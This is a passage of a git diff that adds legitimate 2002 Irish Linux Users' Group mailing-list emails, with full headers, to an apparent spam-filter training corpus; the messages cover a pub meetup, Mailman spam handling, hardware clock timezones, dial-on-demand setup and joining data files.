lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA31966; Tue, 20 Aug 2002 12:21:24 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA31931 for ; Tue, + 20 Aug 2002 12:21:16 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Tue, 20 Aug 2002 12:21:13 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E0188560F@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] mirroring on a running system +Date: Tue, 20 Aug 2002 12:21:12 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Well boyz, whats the story? Its tuesday an all. I've to work late today so +what time are we talking about? + +CW + +------------------- +On Wed, Aug 14, 2002 at 09:22:27AM +0100, Wynne, Conor mentioned: +> When are we going to have a pint? + + Tuesday next week. Boars Head, Capel st. + +Kate + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00472.ce9fb6ee45c148fd96f7b964c7cbb97b b/bayes/spamham/easy_ham_2/00472.ce9fb6ee45c148fd96f7b964c7cbb97b new file mode 100644 index 0000000..6f61295 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00472.ce9fb6ee45c148fd96f7b964c7cbb97b @@ -0,0 +1,61 @@ +From ilug-admin@linux.ie Tue Aug 20 12:23:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 408E143C3A + for ; Tue, 20 Aug 2002 07:22:52 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 12:22:52 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KBNRZ03842 for + ; Tue, 20 Aug 2002 12:23:27 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA32097; Tue, 20 Aug 2002 12:22:48 +0100 +Received: from jinny.ie ([193.120.171.2]) by lugh.tuatha.org (8.9.3/8.9.3) + with ESMTP id MAA32071 for ; Tue, 20 Aug 2002 12:22:41 + +0100 +Received: (from john@localhost) by jinny.ie (8.11.6/8.11.6) id + g7KBN4x18072; Tue, 20 Aug 2002 12:23:04 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 20 Aug 2002 12:23:04 +0100 +From: "John P. Looney" +To: "Wynne, Conor" +Cc: "'ilug@linux.ie'" +Subject: Re: [ILUG] mirroring on a running system +Message-Id: <20020820112304.GE14073@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: "Wynne, Conor" , + "'ilug@linux.ie'" +References: <0D443C91DCE9CD40B1C795BA222A729E0188560F@milexc01.maxtor.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <0D443C91DCE9CD40B1C795BA222A729E0188560F@milexc01.maxtor.com> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 20, 2002 at 12:21:12PM +0100, Wynne, Conor mentioned: +> Well boyz, whats the story? Its tuesday an all. I've to work late today so +> what time are we talking about? + + I've to leave the girlfriend home first. So, I'll be there sometime just +after seven. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00473.b184f51963f4482e41483fde5223b37f b/bayes/spamham/easy_ham_2/00473.b184f51963f4482e41483fde5223b37f new file mode 100644 index 0000000..7e40549 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00473.b184f51963f4482e41483fde5223b37f @@ -0,0 +1,51 @@ +From ilug-admin@linux.ie Tue Aug 20 12:43:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6607743C34 + for ; Tue, 20 Aug 2002 07:43:52 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 12:43:52 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KBjIZ04448 for + ; Tue, 20 Aug 2002 12:45:18 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA00734; Tue, 20 Aug 2002 12:44:07 +0100 +Received: from milexc01.maxtor.com ([134.6.205.206]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA00681 for ; Tue, + 20 Aug 2002 12:43:50 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [134.6.205.206] claimed to + be milexc01.maxtor.com +Received: by milexc01.maxtor.com with Internet Mail Service (5.5.2653.19) + id ; Tue, 20 Aug 2002 12:43:47 +0100 +Message-Id: <0D443C91DCE9CD40B1C795BA222A729E01885610@milexc01.maxtor.com> +From: "Wynne, Conor" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] mirroring on a running system +Date: Tue, 20 Aug 2002 12:43:46 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Sound. I'll be there at 7ish so. + +CW + +----------- + I've to leave the girlfriend home first. So, I'll be there sometime just +after seven. + +Kate + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00474.6a69eedbd1b342153a9b1ece91837a9a b/bayes/spamham/easy_ham_2/00474.6a69eedbd1b342153a9b1ece91837a9a new file mode 100644 index 0000000..0705594 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00474.6a69eedbd1b342153a9b1ece91837a9a @@ -0,0 +1,91 @@ +From ilug-admin@linux.ie Tue Aug 20 12:43:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A9B8743C32 + for ; Tue, 20 Aug 2002 07:43:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 12:43:51 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KBiYZ04433 for + ; Tue, 20 Aug 2002 12:44:34 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA00621; Tue, 20 Aug 2002 12:43:22 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail03.svc.cra.dublin.eircom.net + (mail03.svc.cra.dublin.eircom.net [159.134.118.19]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id MAA00495 for ; Tue, + 20 Aug 2002 12:42:35 +0100 +Received: (qmail 52708 messnum 520637 invoked from + network[159.134.147.129/pc897.as1.galway1.eircom.net]); 20 Aug 2002 + 11:42:03 -0000 +Received: from pc897.as1.galway1.eircom.net (HELO ciaran) + (159.134.147.129) by mail03.svc.cra.dublin.eircom.net (qp 52708) with SMTP; + 20 Aug 2002 11:42:03 -0000 +Message-Id: <006c01c2483e$94876a70$ac0305c0@ciaran> +From: "Ciaran Mac Lochlainn" +To: "Waider" , "Martin Feeney" +Cc: "ILUG" +References: <200208200754.IAA20270@lugh.tuatha.org> + <002e01c2482a$0f166f30$ac0305c0@ciaran> + <20020820110507.K22471@greenspot.hq.nwcgroup.com> + <3D62155B.20906@waider.ie> +Subject: Re: [ILUG] Mail sent to ILUG +Date: Tue, 20 Aug 2002 12:41:53 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-15" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2462.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2462.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Thanks lads, + +I didn't mean to criticise/give offence or anything (someone mailed me off +list who seemed to think I did) but I was just wondering "if anything could +be done" about those messages. +Maybe it was a stupid question, seeing as I know virtually nothing about +mailman, listservs, or server side spam filtering, but thanks for answering +intelligently! + +Ciaran + +Waider elucidated: + +> Martin Feeney wrote: +> | On Tue, 20 Aug 2002 10:14:59 Ciaran Mac Lochlainn wrote: +> | +> |> is it really necessary to send these to the list? +> | +> | +> | What's happening is that the scumbag spammers are forging the from +> | address to be ilug@linux.ie as well, so the notification to them that +> | their email is being reviewed gets sent back to the from address: +> | ilug@linux.ie +> | +> | Martin. +> | +> +> Not to belabour the point, but noone can legitimately send mail to ilug +> from ilug@linux.ie, so Mailman should be catching this and stopping it. +> Not sending confirms or whatever, just dropping the mail on the floor. +> +> Cheers, +> Waider. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00475.112bf2aec40652a84655980365f87d12 b/bayes/spamham/easy_ham_2/00475.112bf2aec40652a84655980365f87d12 new file mode 100644 index 0000000..6b86eec --- /dev/null +++ b/bayes/spamham/easy_ham_2/00475.112bf2aec40652a84655980365f87d12 @@ -0,0 +1,79 @@ +From ilug-admin@linux.ie Tue Aug 20 15:31:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 62A2F43C34 + for ; Tue, 20 Aug 2002 10:31:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 15:31:37 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KEWkZ10154 for + ; Tue, 20 Aug 2002 15:32:46 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA07940; Tue, 20 Aug 2002 15:31:36 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id PAA07904 for ; + Tue, 20 Aug 2002 15:31:27 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.webnote.net + [193.120.211.219] claimed to be webnote.net +Received: (from lbedford@localhost) by webnote.net (8.9.3/8.9.3) id + PAA28198; Tue, 20 Aug 2002 15:31:17 +0100 +Date: Tue, 20 Aug 2002 15:31:17 +0100 +From: Liam Bedford +To: Anthony +Cc: ilug@linux.ie +Subject: Re: [ILUG] hwclock +Message-Id: <20020820143117.GA28159@mail.webnote.net> +References: <3D624D27.98DB1B4E@elivefree.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <3D624D27.98DB1B4E@elivefree.net> +User-Agent: Mutt/1.4i +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + PAA07904 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 20, 2002 at 03:07:35PM +0100, Anthony wrote: +> > > In my experience Windows will change the hardware clock the first time +> > > you boot into it after the clocks have gone forward/back an hour. This +> > > will only happen twice a year. How to stop it, I have not checked (I +> > > just switch the clock back an hour from within windows after such a +> > > reboot). Is there a GMT windows timezone? +> >  +> +> > Start->Settings->Control Panel->Date/Time->Time Zone tab-> Uncheck +> > "Automatically adjust clock for daylight saving change". +> > +> +> Ah, that's grand. I knew about that aspect and had already unchecked the +> appropriate box. I was just worried that Windows was engaging in +> undocumented behaviour that I didn't know about. +> +well, it changes the time then, and then leaves it alone. + +However, Windows expects the time in the RTC to be local time. Linux +can be configured to do either this, or to have the RTC at UTC, +and then use /etc/localtime to figure out the right timezone. + +Depending on how you've set it up, this may be a problem (with one +or other of the OS's one hour out). OS-X also does this silliness :( + +(RTC should always have UTC, that way different people can set their +own timezone on the machine... though I suppose that only applies +to multi-user machines). + +L. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00476.5248b39aaaf6f756eef865a6f43c1ff4 b/bayes/spamham/easy_ham_2/00476.5248b39aaaf6f756eef865a6f43c1ff4 new file mode 100644 index 0000000..81ec064 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00476.5248b39aaaf6f756eef865a6f43c1ff4 @@ -0,0 +1,66 @@ +From ilug-admin@linux.ie Tue Aug 20 23:59:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 81E0C43C32 + for ; Tue, 20 Aug 2002 18:59:11 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 23:59:11 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7KMvcZ28087 for + ; Tue, 20 Aug 2002 23:57:38 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA29057; Tue, 20 Aug 2002 23:56:22 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail02.svc.cra.dublin.eircom.net + (mail02.svc.cra.dublin.eircom.net [159.134.118.18]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id XAA29020 for ; Tue, + 20 Aug 2002 23:56:14 +0100 +Received: (qmail 64653 messnum 31234 invoked from + network[194.125.165.67/ts03-067.cork.indigo.ie]); 20 Aug 2002 22:55:44 + -0000 +Received: from ts03-067.cork.indigo.ie (HELO ?194.125.165.67?) + (194.125.165.67) by mail02.svc.cra.dublin.eircom.net (qp 64653) with SMTP; + 20 Aug 2002 22:55:44 -0000 +User-Agent: Microsoft-Entourage/9.0.2509 +Date: Tue, 20 Aug 2002 23:51:16 +0100 +From: Tim +To: ILUG +Message-Id: +MIME-Version: 1.0 +X-Face: +Content-Type: text/plain; charset="ISO-8859-1" +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + XAA29020 +Subject: [ILUG] [OT] MacOSX mailing list? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi all, + +Sorry for the OT. Just wondering if anybody knows of a similar type mailing +list specifically dealing with MacOSX? (which, FYI is a version of BSD) + + +Slán, + +Tim + +-- +One month on the internet in Ireland: Eur720 +One month on the internet in Britain: Eur 25 +Visit http://www.irelandoffline.org + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00477.ba351d2201dea825eb38315fbc0251ce b/bayes/spamham/easy_ham_2/00477.ba351d2201dea825eb38315fbc0251ce new file mode 100644 index 0000000..fe40e77 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00477.ba351d2201dea825eb38315fbc0251ce @@ -0,0 +1,54 @@ +From ilug-admin@linux.ie Wed Aug 21 07:40:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 78FB643C32 + for ; Wed, 21 Aug 2002 02:40:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 07:40:01 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7L6YEZ12970 for + ; Wed, 21 Aug 2002 07:34:14 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id HAA13592; Wed, 21 Aug 2002 07:33:15 +0100 +Received: from mpsc.ph ([64.110.46.250]) by lugh.tuatha.org (8.9.3/8.9.3) + with SMTP id HAA13549 for ; Wed, 21 Aug 2002 07:32:52 +0100 +From: al@mpsc.ph +X-Authentication-Warning: lugh.tuatha.org: Host [64.110.46.250] claimed to + be mpsc.ph +Received: (qmail 1748 invoked by uid 99); 21 Aug 2002 06:52:11 -0000 +Received: from 64.110.46.132 (proxying for 192.168.44.43, unknown) + (SquirrelMail authenticated user al) by mpsc.ph with HTTP; Wed, + 21 Aug 2002 14:52:11 +0800 (PHT) +Message-Id: <3680.64.110.46.132.1029912731.squirrel@mpsc.ph> +Date: Wed, 21 Aug 2002 14:52:11 +0800 (PHT) +To: +X-Priority: 3 +Importance: Normal +X-Msmail-Priority: Normal +X-Mailer: SquirrelMail (version 1.2.7) +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Subject: [ILUG] dial-on-demand +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Could you please help me how to set up a dial-on-demand, what are the +packages needed, +and other requirements to get on. +Do you know a site that has a how to and the package where to get it. +Please help me please for this was my assignment. + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00478.e7beb5a43fcf1ac2a87b4ce4fdcd9b32 b/bayes/spamham/easy_ham_2/00478.e7beb5a43fcf1ac2a87b4ce4fdcd9b32 new file mode 100644 index 0000000..b2f1202 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00478.e7beb5a43fcf1ac2a87b4ce4fdcd9b32 @@ -0,0 +1,56 @@ +From ilug-admin@linux.ie Wed Aug 21 10:28:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1E40843C34 + for ; Wed, 21 Aug 2002 05:28:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 10:28:50 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7L9THZ17902 for + ; Wed, 21 Aug 2002 10:29:17 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA20753; Wed, 21 Aug 2002 10:27:56 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA20722 + for ; Wed, 21 Aug 2002 10:27:49 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g7L9Rmn4018777 for + ; Wed, 21 Aug 2002 10:27:48 +0100 (IST) (envelope-from + padraig.brady@corvil.com) +Message-Id: <3D635D01.9020806@corvil.com> +Date: Wed, 21 Aug 2002 10:27:29 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug +Content-Type: text/plain; charset=ISO-8859-15; format=flowed +Content-Transfer-Encoding: 8bit +Subject: [ILUG] Gobe going GPL +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I missed this previously, but +the Gobe productive office suite +(available for Linux and Windows) +is going GPL. + +http://www.theregister.co.uk/content/4/26642.html + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00479.081df97ae687b2281fec3a4b20cd434c b/bayes/spamham/easy_ham_2/00479.081df97ae687b2281fec3a4b20cd434c new file mode 100644 index 0000000..b3e26be --- /dev/null +++ b/bayes/spamham/easy_ham_2/00479.081df97ae687b2281fec3a4b20cd434c @@ -0,0 +1,80 @@ +From ilug-admin@linux.ie Wed Aug 21 12:23:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9B8D043C32 + for ; Wed, 21 Aug 2002 07:23:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 12:23:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LBPBZ21729 for + ; Wed, 21 Aug 2002 12:25:11 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA25613; Wed, 21 Aug 2002 12:23:34 +0100 +Received: from mail.nuvotem.com (IDENT:root@nuvotem.iol.ie + [194.125.3.198]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA25578 + for ; Wed, 21 Aug 2002 12:23:27 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host IDENT:root@nuvotem.iol.ie + [194.125.3.198] claimed to be mail.nuvotem.com +Received: from declan.nuvotem.com (IDENT:0@declan [192.168.0.100]) by + mail.nuvotem.com (8.12.3/8.12.3) with ESMTP id g7LCNshr007670 for + ; Wed, 21 Aug 2002 13:23:54 +0100 +Received: from declan.nuvotem.com (IDENT:500@localhost.localdomain + [127.0.0.1]) by declan.nuvotem.com (8.12.5/8.12.5) with ESMTP id + g7LBQT2g007939 for ; Wed, 21 Aug 2002 12:26:30 +0100 +Received: (from declan@localhost) by declan.nuvotem.com + (8.12.5/8.12.5/Submit) id g7LBQTbA007938 for ilug@linux.ie; Wed, + 21 Aug 2002 12:26:29 +0100 +Date: Wed, 21 Aug 2002 12:26:29 +0100 +From: Declan Grady +To: Irish Linux Users Group +Message-Id: <20020821112629.GA7858@nuvotem.com> +Mail-Followup-To: Irish Linux Users Group +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +X-Nuvotem-Mailscanner: Found to be clean +Subject: [ILUG] relating data from 2 ascii files ? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi folks, +Apologies if this is the wrong place to ask, but I am trying to do on my linux desktop what I used to do with some other os software. + +I'm trying to use a combination of some bash scripts and some perl to generate reports from a couple of ascii files. Eventually these will run on a server and get the files by ftp, analyse them and mail me the results. + +As I'm no programmer (by any stretch of the imagination !) I'm getting a bit lost. + +I can deal with single files (eventually) using grep, egrep, awk, and a nice perl script called 'total' which i found while googling. + +Problem now is that the data I'm trying to report on is split between two isam files. + +File 1 contains +Docket Number, Line Number, Item, quantity, price, duedate + +File 2 contains +Docket Number, Customer, Shipping date, invoice number. + +To make some sense of the data, I need to relate the Docket number between the 2 files, so that I can generate a report by customer. + +My first reaction is to look at mysql, and import the ascii data into 2 tables so that I can use sql queries. + +Is this the way to go, or should I delve a bit deeper into perl ? + +Any advice welcome. + +Thanks, +Declan + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00480.d722a97318aec5b7fd1bb5957188929b b/bayes/spamham/easy_ham_2/00480.d722a97318aec5b7fd1bb5957188929b new file mode 100644 index 0000000..dd3c3f2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00480.d722a97318aec5b7fd1bb5957188929b @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Wed Aug 21 12:30:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D22A443C32 + for ; Wed, 21 Aug 2002 07:30:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 12:30:40 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LBVGZ21990 for + ; Wed, 21 Aug 2002 12:31:16 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA25996; Wed, 21 Aug 2002 12:30:39 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA25970 + for ; Wed, 21 Aug 2002 12:30:32 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g7LBUVn4029448; Wed, + 21 Aug 2002 12:30:31 +0100 (IST) (envelope-from padraig.brady@corvil.com) +Message-Id: <3D6379C4.3070201@corvil.com> +Date: Wed, 21 Aug 2002 12:30:12 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: Declan Grady +Cc: Irish Linux Users Group +Subject: Re: [ILUG] relating data from 2 ascii files ? +References: <20020821112629.GA7858@nuvotem.com> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Declan Grady wrote: +> Hi folks, +> Apologies if this is the wrong place to ask, but I am trying to do on my linux desktop what I used to do with some other os software. +> +> I'm trying to use a combination of some bash scripts and some perl to generate reports from a couple of ascii files. Eventually these will run on a server and get the files by ftp, analyse them and mail me the results. +> +> As I'm no programmer (by any stretch of the imagination !) I'm getting a bit lost. +> +> I can deal with single files (eventually) using grep, egrep, awk, and a nice perl script called 'total' which i found while googling. +> +> Problem now is that the data I'm trying to report on is split between two isam files. +> +> File 1 contains +> Docket Number, Line Number, Item, quantity, price, duedate +> +> File 2 contains +> Docket Number, Customer, Shipping date, invoice number. +> +> To make some sense of the data, I need to relate the Docket number between the 2 files, so that I can generate a report by customer. +> +> My first reaction is to look at mysql, and import the ascii data into 2 tables so that I can use sql queries. +> +> Is this the way to go, or should I delve a bit deeper into perl ? +> +> Any advice welcome. + +man join + + +-- +Irish Linux Users' Group: ilug@linux.ie 